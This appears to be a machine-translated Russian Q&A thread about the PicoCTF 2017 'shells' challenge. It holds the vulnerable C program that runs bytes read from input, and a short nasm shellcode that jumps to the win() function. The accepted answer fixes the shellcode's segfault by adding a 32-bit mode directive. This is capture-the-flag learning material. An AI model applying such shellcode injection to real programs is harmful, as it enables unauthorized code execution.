Корпуса CTF Segfault - неправильный адрес


-1

PicoCTF +2017 Корпуса У меня есть двоичный и источник:

#include <stdio.h> 
#include <stdlib.h> 
#include <unistd.h> 
#include <sys/mman.h> 

#define AMOUNT_OF_STUFF 10 

//TODO: Ask IT why this is here 
void win(){ 
    system("/bin/cat ./flag.txt");  
} 


void vuln(){ 
    char * stuff = (char *)mmap(NULL, AMOUNT_OF_STUFF, PROT_EXEC|PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, 0, 0); 
    if(stuff == MAP_FAILED){ 
     printf("Failed to get space. Please talk to admin\n"); 
     exit(0); 
    } 
    printf("Give me %d bytes:\n", AMOUNT_OF_STUFF); 
    fflush(stdout); 
    int len = read(STDIN_FILENO, stuff, AMOUNT_OF_STUFF); 
    if(len == 0){ 
     printf("You didn't give me anything :("); 
     exit(0); 
    } 

    void (*func)() = (void (*)())stuff; 
    func();  
} 

int main(int argc, char*argv[]){ 
    printf("My mother told me to never accept things from strangers\n"); 
    printf("How bad could running a couple bytes be though?\n"); 
    fflush(stdout); 
    vuln(); 
    return 0; 
} 

Цель заключается в вызове функции выигрыша().

Итак: GDB ./shells У меня есть адрес функции выигрыша: 0x08048540 тогда я создать шеллкода:

section .text 
    global _start 
_start: 
    mov eax,0x08048540 
    jmp eax 

section .data 

после компиляции частное использование sehllcode я есть флаг. Но когда я компилировать исходный код вместо того, чтобы использовать данный бинарный файл:

gcc -m32 -fno-stack-protector -z execstack shells.c -o shells2 

В этом не больше работ, сегментации все время. Почему с бинарным файлом мой метод работает, а скомпилированный источник вручную не работает? PS. Флаг находится в нужном месте.

  0

адрес 'win' изменения после того, как вы перекомпилировать? 26 ноя. 172017-11-26 14:29:23

  0

Да, изменения адреса, после того как я перекомпилировал это 0x0000065d, но если я использую этот адрес, у меня есть segfault. 27 ноя. 172017-11-27 15:12:37

  0

хорошо '0x0000065d' может ba только часть адреса. Полный один будет «0x804865d». Я думаю, 27 ноя. 172017-11-27 20:38:36

  0

, но почему gdb или objdump показывает в двоичном адресе orignal 0x08048540, но в двоичном файле, скомпилированном мной 0x0000065d, и первые работает, а второй нет? 27 ноя. 172017-11-27 21:19:49

1

Я думаю, что в вашем шелковом коде отсутствует спецификатор для бит-уровня шеллкода. Вы компилируете shells в 32 бита, но для nasm (я предполагаю, что вы это используете) ничего не имеет. Я предполагаю, что вы собираете в режиме bin и если вы проверить documentation

... по умолчанию формат выходного лотка на 16-битном режиме в ожидании этого используется наиболее часто писать программы DOS .COM , Драйверов устройств DOS .SYS и программного обеспечения загрузчика.

Так что вам нужно сделать, это:

[BITS 32] 
section .text 
    global _start 
_start: 
    mov eax,0x08048540 ; need to put correct address here of course 
    jmp eax 

section .data 

..compile & вуаля

enter image description here

  0

Спасибо! Это была проблема, теперь она работает. 29 дек. 172017-12-29 15:42:30